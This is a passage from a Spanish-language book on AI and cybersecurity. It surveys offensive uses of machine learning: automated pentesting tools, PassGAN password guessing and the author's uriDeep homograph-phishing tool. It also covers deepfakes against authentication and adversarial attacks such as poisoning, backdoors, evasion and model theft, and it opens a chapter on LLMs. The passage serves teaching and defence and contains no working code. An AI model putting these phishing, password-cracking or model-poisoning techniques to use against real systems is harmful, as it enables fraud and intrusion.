por su parte está claro, avanzar en una comprensión general y amplia de los 

problemas de ciberseguridad para proporcionar decisiones inteligentes y 

automatizadas. Todo un reto para los próximos años. 

 

5. Machine learning más ciberseguridad es distinto de machine 

learning seguro  

 

La introducción de la inteligencia artificial en el campo de la 

ciberseguridad, a pesar de sus matices y problemáticas a trabajar, se da 

como un hecho dado con la esperanza de obtener ventajas que permitan 

mejorar ciertas capacidades defensivas. Lo que no es tan cierto, o al menos 

no lo era hace unos años, es ser consciente de que la introducción de 

elementos de machine learning en tecnologías de ciberseguridad introduce 

a su vez potenciales problemas de ciberseguridad que deben ser analizados 

y gestionados. Dicho de otra forma, puede que una tecnología segura, 

aunque no ideal, busque mejoras en la inteligencia artificial y las consiga, 

pero abra nuevos vectores de ataque25. En los siguientes apartados 

entenderá mejor algunas de las casuísticas habituales. 

 

Llegados a este punto, el lector ya debería tener una visión aproximada del 

impacto y retos que la inteligencia artificial se ha enfrentado en cuanto a su 

uso en la seguridad defensiva. En los próximos capítulos observará nuevas 

propuestas algorítmicas y de modelos de machine learning (por ejemplo, 

con modelos LLM) que le permitirán, quizás, vislumbrar avances 

 
24 https://es.wikipedia.org/wiki/Inteligencia_artificial_fuerte 
25https://blog.google/technology/safety-security/introducing-googles-secure-ai-

framework/ 
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interesantes en la automatización y decisiones en múltiples disciplinas de 

la ciberseguridad. 

 

En cualquier caso, como ha podido observar en el título de este capítulo, la 

idea de estas líneas es resumirle brevemente algo que pasó desapercibido 

hace unos años y que cada vez está más claro su enorme potencial. La 

inteligencia artificial y el machine learning tienen una clara utilidad en 

seguridad ofensiva y ataques inteligentes. 

 

Para concretar un poco más esta cuestión cuando hablamos de seguridad 

ofensiva asociada al machine learning es habitual destacar varios tipos26 de 

ataques: 

 

• Ataques clásicos (mejorados con inteligencia artificial). Por ejemplo, 

técnicas de fuzzing, password guessing, etc. 

 

• Sistemas “sintéticos” atacando a algoritmos de machine learning. Por 

ejemplo, deep fakes y engaño de sistemas de autenticación/autorización. 

 

• Ataques de machine learning a sistemas machine learning 

(Adversarial Machine Learning) 

 

En los siguientes apartados se va a explicar un poco mejor en qué consiste 

cada uno de ellos. Con esta información adicional ya dispondrá de una idea 

general del impacto de la inteligencia artificial de manera global en ataque 

y defensa. Con esa perspectiva podremos introducirnos en los nuevos 

modelos y aplicaciones, como el chatbot ChatGPT, y analizar si introducen 

ventajas o no en el campo de la ciberseguridad. 

 

 

  

 
26 Practical Attacks on Machine Learning Systems - 

https://research.nccgroup.com/2022/07/06/whitepaper-practical-attacks-on-machine-

learning-systems/ 
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1.1 Ataques ofensivos clásicos mejorados con machine learning 

 

Una de las propiedades interesantes de las técnicas de machine learning, 

como vimos en apartados anteriores, es su capacidad para detectar patrones. 

Estas características habitualmente de gran utilidad en seguridad defensiva 

pueden ser utilizadas en seguridad ofensiva. Estos últimos años he visto 

que muchas herramientas tanto comerciales como open source han 

intentado sacar ventaja de estas características principalmente en las fases 

de enumeración e identificación de vulnerabilidades para seguidamente 

continuar con el clásico ciclo de hacking ético. Existen múltiples ejemplos 

de esto, quizás algunos de los más conocidos son, por ejemplo, el uso de 

algoritmos genéticos en el famoso fuzzer AFL27 o el uso de técnicas de 

regresión logística en NMAP para IPv6 OS classification28. La búsqueda 

de vulnerabilidades29 es otro excelente caso de uso. Un excelente ejemplo 

de la importancia de esto puede verse en el mítico Cyber Grand 

Challenge30 lanzado por DARPA en 2016 y retos posteriores. 

 

De hecho, una búsqueda rápida en Internet le permitirá observar propuestas 

interesantes, muchas de ellas de investigadores independientes, que le 

demostrarán que con una buena idea no es complicado llevar a la práctica 

el uso de la inteligencia artificial en seguridad ofensiva31. Para facilitarle el 

camino preste atención a las librerías y herramientas utilizadas en estos 

proyectos. Estoy seguro de que alguno de estos ejemplos le abrirán su 

imaginación. 

 

Gyoithon - https://github.com/gyoisamurai/GyoiThon 

 

Herramienta de pentesting que analiza la información recogida mediante 

machine learning. Cuenta con diferentes opciones para examinar puertos 

abiertos, servicios cloud, utilizar Metasploit, analisis de respuestas HTTP. 

 

 
27 https://github.com/google/AFL 
28 https://nmap.org/book/osdetect-guess.html#osdetect-guess-ipv6 
29ExploitMeter: Combining Fuzzing with Machine Learning for Automated 

Evaluation of Software Exploitability - https://wcventure.github.io/FuzzingPaper/ 

Paper/PAC17_ExploitMeter.pdf 
30 DARPA lanzó el Cyber Grand Challenge, un concurso para crear sistemas defensivos 

automáticos capaces de razonar sobre los fallos, formular parches y desplegarlos en una 

red en tiempo real. Al actuar a la velocidad y escala de una máquina, estas tecnologías 

podrían algún día acabar con el statu quo actual, dominado por los atacantes “humanos” 

- https://www.darpa.mil/program/cyber-grand-challenge 
31 En el libro hay referencias a proyectos open source o libres que permiten su 

modificación o estudio. En la literatura podrá encontrar múltiples herramientas 

comerciales que hacen uso de la inteligencia artificial. 
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Ilustración 9. Arquitectura de GyoiThon para automatizar Metasploit con IA 

 

SAIVS (Spider Artificial Intelligence Vulnerability Scanner)  

https://github.com/13o-bbr-bbq/SAIVS 

 

Crawling con NaiveBayes para identificar páginas web vía patrones 

(páginas de búsquedas, login, formulario, etc.) para posteriormente probar 

ataques XSS y SQL. 

 

DeepExploit (fully automatic penetration test tool using deep 

reinforcement learning) - https://github.com/13o-bbr-bbq/ 

machine_learning_security/ tree/master/DeepExploit 

 

Herramienta para pentesting automático. Identifica puertos abiertos 

(Nmap) y realiza explotación con técnicas de machine learning. Usa 

Metasploit y servidores vulnerables como Metasploitable2 y Owasp BWA 

(Broken Web Applications) para aprender a realizar exploiting. 
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Ilustración 10. Arquitectura de Deep Exploit basada en machine learning 
 

En la mayoría de los proyectos ofensivos que usan inteligencia artificial 

observará que los mismos principios de automatización o deteccion de 

patrones se podrían usar para enfoques defensivos. Es por eso que suelen 

ser muy útiles en las fases de enumeración y identificación de problemas 

(útiles para ataque y defensa). Obviamente, el interés desde el punto de 

vista ofensivo va en la explotación. Dado que la explotación requiere más 

imaginación y flexibilidad la automatización, con o sin machine learning, 

se presenta más complicada. 
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Otro excelente ejemplo de uso ofensivo del machine learning es el proyecto 

PassGAN: A Deep Learning Approach for Password Guessing32. Se lo cito 

aquí porque puede que lo encuentre tanto en bibliografía relacionada con 

machine learning como de temáticas variadas de ciberseguridad, entre ellas 

de cracking33,34 de contraseñas35. Las herramientas más avanzadas para 

adivinar contraseñas, como Hashcat o John the Ripper, permiten a los 

usuarios cotejar miles de millones de contraseñas por segundo con hashes 

de contraseñas. Además de realizar sencillos ataques de diccionario, estas 

herramientas pueden ampliar los diccionarios de contraseñas utilizando 

reglas de generación de contraseñas, como la concatenación de palabras 

(por ejemplo, "password123456") o variaciones (por ejemplo, "password" 

se convierte en "p4s5w0rd"). Aunque estas reglas funcionan bien en la 

práctica, ampliarlas para modelar más contraseñas es una tarea laboriosa 

que requiere conocimientos especializados. Para solucionar este problema, 

PassGAN, aplica un novedoso enfoque que sustituye las reglas de 

contraseñas generadas por humanos por algoritmos de aprendizaje 

automático basados redes GAN para aprender de forma autónoma la 

distribución de contraseñas reales a partir de filtraciones de contraseñas 

reales, y para generar conjeturas de contraseñas de alta calidad. 

 

 
Ilustración 11. Muestra de contraseñas potenciales generadas por PassGAN 

Por último, me gustaría ejemplificar con un proyecto personal como puede 

buscar sus propios casos de uso ofensivos que puedan ser mejorados con 

machine learning. Hablemos un poco del proyecto uriDeep36. 

 
32 PassGAN: A Deep Learning Approach for Password Guessing - 

https://arxiv.org/pdf/1709.00440.pdf 
33 https://github.com/beta6/PassGAN 
34 https://decrypt-co.cdn.ampproject.org/c/s/decrypt.co/144004/meet-passgpt-ai-

trained-millions-leaked-passwords?amp=1 
35 https://www.tuxrincon.com/es/blog/entrena-passgan-con-tu-propio-diccionario/ 
36 https://github.com/mindcrypt/uriDeep 
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Mi aproximación a la seguridad ofensiva con machine learning es 

relativamente moderna. Fue en 2017 cuando empecé a desarrollar mis 

primeras herramientas de hacking37 y mis primeras conferencias sobre la 

materia. En 2019, en la conferencia de ciberseguridad RootedCon38 

publiqué la herramienta uriDeep con la idea de demostrar que el machine 

learning podría ser muy útil en seguridad ofensiva si se encuentra un caso 

de uso adecuado, a menudo centrado, como ya sabe, en enumeración, 

identificación y automatización. 

 

uriDeep utiliza técnicas de machine learning para facilitar ataques de 

codificación basados en Unicode39, por ejemplo, para la generación de 

dominios falsos en ataques basados en phishing. La idea era aparentemente 

sencilla. Un atacante busca caracteres parecidos para engañar al ojo 

humano. Convirtiendo y comparando cada uno de los caracteres del dataset 

Unicode como si fuera una imagen podía automatizar lo que de manera 

manual por un humano requeriría mucho tiempo. Mediante machine 

learning fui capaz de generar automáticamente todos los candidatos 

Unicode visualmente similares a uno dado y con eso garantizar un amplio 

dataset para probar ataques. Tan amplio fue el dataset que descubrí 

combinaciones de caracteres no detectados (confusables) por las políticas 

IDN40 de la época de los navegadores Chrome & Firefox. A su vez la 

herramienta me permitió reportar fallos de seguridad en productos tan 

conocidos como Skype41 o Foxit42 reader, entre otros. A día de hoy, sigo 

usando la herramienta uriDeep en ejercicios de phishing o concienciación. 

 
37 https://github.com/mindcrypt/stegUnicode 
38 Alfonso Muñoz - Reviving Homograph attacks using (deep learning) steroids 

[RootedCON2019-ESP] - https://www.youtube.com/watch?v=JGb81yB4tAI 
39 Unicode es un estándar de codificación de caracteres diseñado para facilitar el 

tratamiento informático, transmisión, y visualización de textos de numerosos idiomas y 

disciplinas técnicas, además de textos clásicos de lenguas muertas. El término Unicode 

proviene de los tres objetivos perseguidos: universalidad, uniformidad, y unicidad. La 

versión 15.0 contiene 149.186 caracteres provenientes de alfabetos, sistemas 

ideográficos y colecciones de símbolos (matemáticos, técnicos, musicales, iconos...). 

La cifra crece con cada versión - https://es.wikipedia.org/wiki/Unicode 
40 Internationalized Domain Names (IDN) in Google Chrome - 

https://chromium.googlesource.com/chromium/src/+/main/docs/idn.md 
41 31 marzo 2019 - Acknowledgment - Microsoft Security Response Center (skype bug) 

- https://msrc.microsoft.com/update-guide/acknowledgement/online 
42 April 2019 Acknowledgment - Foxit Security Bulletins - Security updates available 

in Foxit Reader 9.5 and Foxit PhantomPDF 9.5. Addressed a potential issue where the 

application could be exposed to IDN Homograph Attach vulnerability when a user 

clicked a fake link to open illegal address. 

https://www.foxitsoftware.com/support/security-bulletins.php  
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Ilustración 12. Creación de diccionario de ataque con confusables basado en machine 

learning. Tabla completa en https://github.com/mindcrypt/uriDeep/blob/master/data/ 

deepDiccConfusables.txt 
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Ilustración 13. Ataque básico de homógrafos útil en phishing y base para la creación 

de uriDeep 

 

 
 

Ilustración 14. Esquema de machine learning utilizado para la creación del diccionario 

de confusables de uriDeep. Comparación de caracteres codificados en imágenes para 

identificar automáticamente caracteres parecidos con una cierta probabilidad. 
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1.2 Ataques ofensivos ¨sintéticos¨ y deep fakes. Engañando a procesos 

de autenticación y autorización. 

 

En 2016, sin ser entonces un estudioso de esta materia, empecé a observar 

numerosas investigaciones en el ámbito civil que mediante el uso de 

inteligencia artificial empezaban a publicar la generación de contenido 

sintético de una calidad asombrosa en ámbitos tan variados como el audio, 

las imágenes, el vídeo o el texto. Contenido que o bien parecía creado por 

un humano o que directamente simulaba ser un humano, en muchas 

ocasiones suplantándole directamente. Hoy en día no hace falta explicar 

mucho el impacto que estas tecnologías pueden tener en nuestra sociedad, 

simplemente hay que echar un vistazo a los efectos que están produciendo 

tecnologías como el chatbot ChatGPT, Dalle-2, Midjourney o Stable 

Diffusion, por poner solo una serie de ejemplos.   

 

En general, las áreas más evidentes donde la generación de contenido 

sintético tiene impacto en ciberseguridad son la creación de perfiles falsos 

y desinformación, así como la evasión de sistemas de autenticación y 

autorización. 

 

La creación de perfiles falsos tiene una enorme utilidad en la fase de 

perfilado o seguimientos de personas mediante técnicas de fuentes abiertas 

(OSINT), así como para facilitar ataques dirigidos (phishing, ejecución de 

código remoto, etc.). Dado que es posible crear texto, audio, vídeo e 

imágenes es posible crear contextos y perfiles creíbles. Estos últimos años 

se han publicado ejemplos muy significativos. La web 

https://thisxdoesnotexist.com/ tiene un excelente resumen de muchos de 

ellos (esta persona no existe, este animal no existe, este currículum no 

existe, este paisaje no existe, etc.). Obviamente si se puede crear contenido 

de alta calidad este puede ser usado para la desinformación con propósitos 

variados (políticos, comerciales, etc.). 

 

Otro de los problemas importantes de abordar es cómo estos avances 

pueden afectar a sistemas de autenticación/autorización, biometría o 

sistemas de seguimiento/perfilado (videovigilancia, etc.) especialmente 

aquellos que se apoyan en técnicas de machine learning para tomar sus 

decisiones. Si es posible generar vídeos sintéticos indistinguibles o audio 

sintético clonando la voz de una persona esto abre un reto importante a 

solventar.  

 

En cualquier caso, explicar cada una de las técnicas subyacentes de cada 

ataque/técnica queda fuera del objetivo de este libro pero, a continuación, 

le proporciono una serie de referencias seleccionadas que le permitirá 
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ampliar sobradamente su conocimiento en esta disciplina. De la misma 

forma le dejo varias ponencias que impartimos con diversas demos, su 

visualización le permitirá entender mejor el potencial de estas técnicas que 

leyéndolas en texto. Observará que la mayor parte de los sistemas 

documentados para la generación de contenido sintético hace uso de redes 

neuronales y su configuración en redes GAN. Las siguientes referencias le 

permitirán profundizar en sus detalles. 

 

Automatizando la detección de contenido Deep Fake (Alfonso Muñoz y 

Miguel Hernández, BBVA) – STIC CCN-CERT 

https://www.youtube.com/watch? 

v=ist4Za3C2DY&list=PLIZWmGs0YDof4Qdr6tNtDNVqABxhamPqg&in

dex=35 

 

Automatizando la detección de contenido deep fake – Dr. Alfonso Muñoz 

y Jose Ignacio Escribano – Hackplayer Hcon 2020 - 

https://www.youtube.com/watch? 

v=rVk9UU1B8xM&list=PLfooBbM7ELN4Sx-

Y5Tis0G39N_J4dlD9p&index=10 

 

Deepfakes Generation and Detection: State of the art, open challenges, 

countermeasures, and way forward https://arxiv.org/ftp/arxiv/papers/ 

2103/2103.00484.pdf 

 

Deepfakes Generation and Detection: A Short Survey - 

https://www.mdpi.com/2313-433X/9/1/18 
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1.3 Ataques a machine learning. Adversarial Machine Learning 

 

El adversarial machine learning es una disciplina dentro de la rama del 

machine learning que trata de averiguar qué ataques puede sufrir un 

algoritmo de machine learning y el modelo generado ante la presencia de 

un adversario malicioso. 

 

Para entender mejor esto, es importante pensar un poco en el modelo de 

amenazas a considerar partiendo de un sistema basado en machine learning. 

Creo que se entenderá muy bien con la siguiente figura y una breve 

explicación. 

 

 
Ilustración 15. Elementos potenciales de ser atacados en un esquema de machine 

learning 

- Atacando al algoritmo. Cada algoritmo de machine learning tiene una 

forma de trabajar concreta, su manipulación, típicamente mediante datos 

envenenados puede generar comportamientos indebidos. Además, en 

ocasiones esos algoritmos pueden estar basados en algoritmos de terceros, 

esto introduce el clásico problema de seguridad de verificación de la cadena 

de suministro (supply chain attack). 

 

- Datos de entrada. La manipulación de los datos de entrada puede afectar 

no solo al resultado final sino también tener efectos en el modelo de 

machine learning (su engaño, robo, etc.). 

 

- Datos de salida. La obtención masiva de datos de salida de un proceso 

de clasificación puede permitir al atacante inferir información del modelo 

de entrenamiento e incluso de los datos de entrenamiento. Esto, de 

producirse, tiene implicaciones serias de seguridad y privacidad. 
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- Modelo de entrenamiento. El objetivo del atacante será su manipulación 

o robo. 

 

- Lugar de entrenamiento. El entrenamiento de modelos de machine 

learning requiere habitualmente grandes capacidades de cómputo. Es 

habitual recurrir a servicios de terceros, típicamente en la nube, para estas 

operaciones. El atacante pondrá como foco de ataque esos emplazamientos, 

físicos o virtuales, para la manipulación o robo de datos o modelos.  

 

Con este modelo en mente, el atacante clásicamente intentará realizar 

alguno de los siguientes 4 tipos de ataques. Tendrá más o menos éxito en 

función de la información previa de la que disponga (ataques de caja 

blanca43, ataques de caja negra44 o ataques de caja gris45) o si puede 

manipular/robar información de algunos de los elementos que constituyen 

el esquema de machine learning. 

 

- Ataque por envenenamiento (poisoning attacks) 

 

El adversario trata de corromper el conjunto de entrenamiento con el 

objetivo de que el modelo aprendido produzca una clasificación errónea46 

que beneficia al adversario. Pueden ser realizados en escenarios de caja 

blanca y caja negra. Entre los objetivos a perseguir destruir la 

disponibilidad produciendo predicciones incorrectas o la creación de 

puertas traseras. 

 
Ilustración 16. Ejemplo de ataque de envenenamiento en esquemas de machine 

learning 

 
43 Ataques de caja blanca: el adversario tiene acceso a la arquitectura usada 

por el modelo, a los datos de entrenamiento, a los parámetros e hiper parámetros 
44 Ataques de caja negra: el adversario sólo tiene acceso a las entradas y 

salidas del modelo. 
45 Ataques de caja gris: el ataque se encuentra en un punto intermedio entre 

entre los dos tipos de ataques anteriores. 
46 https://research.nccgroup.com/2023/02/03/machine-learning-102-attacking-facial-

authentication-with-poisoned-data/ 
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La creación de puertas traseras quizás sea algo más extraño de entender. 

Permítanme una explicación un poco más detallada. 

 

En muchos escenarios los modelos de machine learning actúan como si de 

una caja negra se tratara. Los modelos aparentemente hacen lo que tienen 

que hacer según para lo que fueron entrenados, pero esto no siempre es 

suficiente, si pensamos desde el punto de vista de garantías de 

ciberseguridad. Un modelo de machine learning podría introducir puertas 

traseras que ante determinadas entradas reaccionara con un 

comportamiento no esperado o aprobado según nuestros criterios de riesgo. 

El problema principal de este asunto es que no es sencillo auditar y explicar 

por qué un modelo hace lo que hace. De ahí el reto. 

 

Para que se haga una idea de esta problemática piense que es habitual 

obtener modelos de machine learning de terceros (en principio esto puede 

tener sentido). Si necesita un modelo para clasificar imágenes donde 

aparecen sillas, ¿por qué implementárselo cuando puede que alguien ya lo 

haya hecho mejor y se lo ofrezca gratis o por unos pocos dólares? El riesgo 

surge obviamente en tener garantías que el modelo solo hace lo que dice 

hacer. 

 

Quizás pueda pensar que si simplemente evoluciona un modelo existente a 

otro propietario evitaría este problema, con la conocida técnica de transfer 

learning47. Por desgracia, como la literatura ha demostrado una puerta 

trasera en un modelo de origen podría permanecer incluso en modelos 

evolucionados o reentrenados. Por ejemplo, imagine que desea reconocer 

camiones en una foto y considera que es buena idea partir de un modelo 

que clasifica autocares como punto de partida para su nuevo modelo. 

Transferir aprendizaje previo para aprender nuevas tareas parece algo 

sensato que podría reducir el tiempo de aprendizaje y computación, pero 

existe un riesgo latente. 

 

Le recomiendo la lectura de la siguiente investigación BadNets: Identifying 

Vulnerabilities in the Machine Learning Model Supply Chain (2017)48. Uno 

de los primeros trabajos que conocí en esta disciplina y que le permitirá 

contextualizar claramente este problema. 

 

 
47 https://en.wikipedia.org/wiki/Transfer_learning 
48 BadNets: Identifying Vulnerabilities in the Machine Learning Model Supply Chain - 

https://arxiv.org/abs/1708.06733 
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Ilustración 17. Ejemplo visual de fusión de redes neuronales con objetivo malicioso 

extraído de la investigación de BadNets 

En cualquier caso, en estos últimos años se han desarrollado algunas 

librerías y contramedidas49,50 para ayudar a protegerse frente a estos tipos 

de ataques que le recomiendo que evalúe. 

 

 

Ilustración 18. Ejemplos de entradas maliciosas cambiando el comportamiento de un 

modelo de machine learning. Los detalles pueden verse en el artículo de BadNets 

  

 
49 https://github.com/twosixlabs/armory 
50 https://secml.readthedocs.io/en/v0.15/ 
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- Ataque por evasión (evasión attacks) 

 

El objetivo del adversario es inyectar en la entrada una pequeña cantidad 

de ruido para que un clasificador prediga la salida (o etiqueta) de forma 

incorrecta. Este tipo de ataque funciona tanto en la modalidad de caja 

blanca como caja negra. 

 

La mayor diferencia entre el ataque de envenenamiento y el ataque de 

evasión es que, a diferencia del ataque de envenenamiento, este último se 

realiza en la fase de inferencia. Este tipo de ataque se realiza modificando 

ligeramente las entradas introduciendo una cierta cantidad de ruido. Estas 

entradas maliciosas reciben el nombre de ejemplo adversario (adversarial 

example en inglés). Se pueden crear sobre distintos tipos de datos, aunque 

los ejemplos adversarios más extendidos y conocidos son sobre imágenes. 

De hecho, los ejemplos adversarios sobre imágenes se crean para que sean 

imperceptibles para el ojo humano. 

 

 
Ilustración 19. Un ejemplo adversario dirigido sobre una señal de tráfico. A la imagen 

original de la señal de stop, se le añade cierta cantidad de ruido para que clasifique la 

señal como de máxima velocidad a 100 km/h. https://www.altacognita.com/robust-

attribution/ 

 

En la literatura se pueden encontrar numerosas herramientas open source 

que implementen ataques y defensas de evasión y permitan robustecer los 

modelos de machine learning: cleverhans51, advertorch52, foolbox53, art, 

artificial adversary54, advbox55, deeprobust, etc. 

 
51 https://github.com/cleverhans-lab/cleverhans 
52 https://github.com/BorealisAI/advertorch 
53 https://github.com/bethgelab/foolbox 
54 https://github.com/airbnb/artificial-adversary 
55 https://github.com/advboxes/AdvBox 
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- Ataque por extracción (model extraction attacks) 

En cualquier solución que haga uso de machine learning los modelos de 

entrenamiento son la parte central de esa tecnología. Ya estemos hablando 

de ciberseguridad o no, el robo del modelo de entrenamiento supondría una 

ventaja importante a un competidor o atacante. Imagine que desarrolla un 

modelo que permite predecir mejor que otras soluciones qué acciones 

subirán o bajarán, lo cual le genera importantes beneficios, el robo de éste 

supondría importantes problemas. Imagine por otro lado que el modelo 

desarrollado implementa un mecanismo novedoso de autenticación o 

perfilado de usuarios por su tráfico. Si un atacante lo consiguiera podría 

facilitarle realizar pruebas locales para intentar evadir su seguridad. Sea 

como fuere, en muchos escenarios, el modelo de entrenamiento es y debe 

ser privado (dejamos a un lado de momento la computación cifrada) y no 

compartirlo. 

 

Los ataques de extracción consisten en que un adversario intente robar los 

parámetros de un modelo de machine learning. Este tipo de ataque permite 

comprometer la propiedad intelectual y confidencialidad de un modelo, y 

permite realizar ataques de evasión y/o inversión. Este ataque se puede 

realizar tanto en caja blanca como caja negra.  

 

Para entender mejor lo anterior, imaginemos un escenario en el que un 

atacante no tiene forma de robar un modelo de entrenamiento. Según el 

modelo de amenazas descrito en apartados anteriores la única opción sería 

intentar inferir algo de los datos de entrada al modelo y de los datos de 

salida. Es precisamente este enfoque el que han utilizado numerosas 

investigaciones, con o sin éxito, para robar el modelo de entrenamiento. 

Existen diferentes casuísticas que permitirían hacerlo, pero por brevedad, 

imagine por ejemplo un escenario, habitual en cloud, en el que utilizamos 

un servicio que se apoya en machine learning (MaaS, Machine learning as 

a Service) y para introducir datos a ese servicio se hace uso de una API 

(Application Programming Interface). Enviando múltiples datos mediante 

esa API y consultando los datos de salida es posible obtener, en 

determinados escenarios, el modelo de entrenamiento. Por tanto, clonarlo 

por nuestro uso y disfrute56. 

 

Una investigación asequible de entender en esta dirección fue publicada en 

2016 – Stealing Machine Learning Models via Prediction APIs, donde es 

 
56Stealing Machine Learning Models via Prediction APIs -

https://www.usenix.org/conference/usenixsecurity16/technical-sessions/presentation 

/tramer & https://github.com/ftramer/Steal-ML 
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sencillo de entender cómo para determinados modelos, por ejemplo 

basados en regresión logística y árboles de decisión, es posible usar los 

datos de entrada y salida para formar ecuaciones. La resolución de esas 

ecuaciones y sus incógnitas permiten inferir el modelo de entrenamiento 

usado en servicios online tan famosos como BigML o Amazon Machine 

Learning. 

 

 
 

 
Ilustración 20. Entendiendo las ecuaciones y parámetros asociados a modelos de 

regresión logística. Paper: Stealing Machine Learning Models via Prediction APIs 
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Ilustración 21. Explicación paso a paso de robo o copia de un modelo basado en 

regresión logística usando entradas y salidas del modelo 
 

- Ataques por inversión (model inversión attacks) 

 

Los ataques de inversión de modelos consisten en que un adversario intenta 

aprovechar las predicciones del modelo para comprometer la privacidad del 

usuario o inferir si unos datos determinados fueron empleados en el 

conjunto de entrenamiento o no. Se puede emplear tanto en caja blanca 

como en caja negra.  

 

Este tipo de ataque tiene especial relevancia entre los modelos que han sido 

entrenados con datos sensibles, como pueden ser los datos clínicos, que 

requieren de una protección especial. 

 

 
Ilustración 22. Ejemplo de obtención de datos del modelo 

Hace unos años parte de mi equipo de investigación dedicó/dedicamos 

tiempo a entender bien todos estos tipos de ataques desde el punto de vista 

de la ciberseguridad. Si desea profundizar un poco más en ellos les dejo 
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documentación57,58 y herramientas59 que recopilamos y ponencias60,61 que 

impartimos. 

  

 

 

 

 

 

 

  

 
57 Adversarial Machine Learning – BBVA, 80 páginas - 

https://www.bbvanexttechnologies.com/wp-content/uploads/2021/03/Whitepaper-

Adversarial-Machine-Learning-1.pdf 
58 https://github.com/jiep/cybercamp2017 
59 https://github.com/jiep/offensive-ai-compilation 
60 Seguridad ofensiva y defensiva con machine learning - https://www.youtube.com/ 

watch?v=pTzwTTVflZs 
61 Automatizando la detección de contenido Deep Fake https://www.youtube.com/ 

watch?v=ist4Za3C2DY 
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Capítulo 2 – Prompt engineering. Funcionamiento y 

limitaciones de los modelos LLM y ChatGPT 

 

“Nunca te fíes de un ordenador  

que no puedas tirar por la ventana”.  
 

Steve Wozniak  

 

Si ha tenido la oportunidad de leer el capítulo anterior se habrá dado cuenta 

de las aristas y la velocidad con la que evoluciona la inteligencia artificial 

y los escenarios y matices en su aplicación a la ciberseguridad. Este breve 

capítulo va destinado a entender un poco mejor ciertas propuestas que están 

surgiendo en aplicaciones tan mediáticas como puede ser el chatbot 

ChatGPT, a la que le dedicaremos más tiempo en posteriores capítulos, 

haciendo uso de nuevas aproximaciones algorítmicas y modelos LLM 

(Large Language Model), como GPT-3.5 o GPT-4, utilizados 

principalmente para sistemas “inteligentes” cuya respuesta está en el 

dominio del texto. El objetivo fundamental del libro es entender un poco 

mejor cómo funcionan estas propuestas y qué aplicación pueden tener en 

el campo de la ciberseguridad haciendo uso de un ejemplo concreto como 

es el chatbot ChatGPT, un caso de uso de estos modelos. 

 

En este contexto, observará palabras de moda como “ingeniería de 

prompts” o “prompt injection”. Permítame dar un poco de luz sobre todos 

estos conceptos. 

 

2.1 Prompt engineering. Definiciones y recursos 

 

El avance imparable de la inteligencia artificial y su interacción con 

humanos mediante diversos interfaces HCI (Human-Computer Interface62) 

hace necesariamente que tengamos que responder a una aparente simple 

pregunta: ¿cómo podemos interactuar mejor con las IAs para obtener los 

mejores resultados? Es aquí donde surge el concepto de prompt 

engineering63, ingeniería de prompts, y de aquellas personas que pueden 

desarrollar esa capacidad, conocidos como ingenier@s de prompts. 

 

En esencia esta habilidad consiste en elaborar las preguntas (prompts) 

correctas para obtener respuestas relevantes en el ámbito de uso donde 

estemos, ya sea un chatbot (ChatGPT, Midjourney, etc.), un asistente de 

voz, etc. Dicho de otra forma, explorar de manera natural las diferentes 

 
62 https://en.wikipedia.org/wiki/Human%E2%80%93computer_interaction 
63 https://en.m.wikipedia.org/wiki/Prompt_engineering 
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configuraciones del modelo, la evaluación de resultados y la iteración del 

proceso de la creación de prompts para mejorar el desempeño del modelo 

o la respuesta esperada del mismo. Es decir, no es un proceso estático, sino 

más bien un proceso iterativo que se ajusta y mejora continuamente a 

medida que se recopilan y evalúan más datos y se identifican patrones y 

problemas en el desempeño del modelo. 

 

El objetivo final del prompt engineering es entrenar a la aplicación para 

que proporcione una respuesta de máxima calidad, comprendiendo al 

usuario y, además, ofreciendo una interacción fluida y natural. Por tanto, 

tiene un objetivo claramente defensivo. Lógicamente de aquí surgen 

muchas preguntas. ¿Qué sucede si somos capaces de preguntar información 

de una manera no esperada por el modelo y la IA? ¿Seremos capaces de 

hacer prompt injection64,65 con algún objetivo malicioso? Claramente se 

muestra del todo interesante para analizar desde el punto de vista de 

ciberseguridad. 

 

En este punto estoy seguro de que habrá oído que el prompt engineering es 

una profesión de futuro y que actualmente se pagan buenos sueldos a 

perfiles especializados66,67.  El tiempo dirá si esto es algo más que una 

novedad temporal. Mientras tanto le recomiendo una serie de cursos que le 

facilitarán ampliar su conocimiento en la materia68,69. 

 

2.2 Modelos LLM (Large Language Models) 

 

El principal objetivo de este libro es entender mejor si los modelos 

LLM70,71,72 tienen aplicación al campo de la ciberseguridad, al menos, 

desde un enfoque práctico con herramientas y propuestas existentes. Por 

tanto, veo necesario que dediquemos unos párrafos a entender mejor en qué 

consisten estos avances y por qué han recibido tanta atención mediática. 

 

 
64 https://embracethered.com/blog/posts/2023/prompt-injection-an-introduction-video/ 
65 https://simonwillison.net/2023/May/2/prompt-injection-explained/ 
66https://elpais.com/tecnologia/2023-03-14/el-boom-de-la-inteligencia-artificial-crea-

un-nuevo-trabajo-experto-en-hablar-con-la-maquina.html 
67 https://www.xataka.com/robotica-e-ia/prompt-engineers-estan-ganando-sueldazos-

openai-ha-lanzado-curso-gratuito-para-aprender-esta-demandada-profesion 
68 https://www.promptingguide.ai/es/introduction/basics 
69https://www.deeplearning.ai/short-courses/chatgpt-prompt-engineering-for-

developers/ 
70 https://vitalflux.com/large-language-models-concepts-examples/ 
71 https://sebastianraschka.com/blog/2023/llm-reading-list.html 
72https://mark-riedl.medium.com/a-very-gentle-introduction-to-large-language-

models-without-the-hype-5f67941fa59e 
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Los modelos LLM, modelos grandes de lenguaje, se pueden explicar como 

el resultado de aplicar una serie de redes neuronales con una configuración 

determinada que recibe como entrada una gigantesca cantidad de 

parámetros (miles de millones y creciendo) obtenidos a su vez de inmensas 

cantidades de datos de partida. Existe una enorme variedad de opciones de 

modelos LLM73,74,75: GPT, LaMDA, MT-NLG, PaLM, Flan-UL2, GATO, 

BLOOM, ChatGPT, LLaMA, ChatGLM, Alpaca, Claude, Falcon76, etc. 

 

El objetivo final de un modelo LLM es predecir con gran exactitud la mejor 

palabra posible después de una dada, que resuelve una consulta específica, 

con la ventaja de que estos modelos capturan con gran precisión la sintaxis 

y la semántica del lenguaje humano. Si ha estudiado en alguna ocasión los 

modelos N-Gram o los procesos estocásticos seguro que puede hacer 

símiles conceptuales interesantes. 

 

Cuando hablamos de estos sistemas, realmente no hablamos de palabras 

sino de tokens, si alguna vez ha estudiado técnicas de procesamiento de 

lenguaje natural77 le sonará bastante este concepto. Un token, en este 

contexto, es en esencia la unidad de procesamiento semántico que se 

procesa de un texto. Verá por tanto que a menudo cuando se habla de tokens 

nos referimos a un conjunto de una o más palabras. Cuantos más tokens 

seamos capaces de procesar, en teoría, el modelo debería ser más 

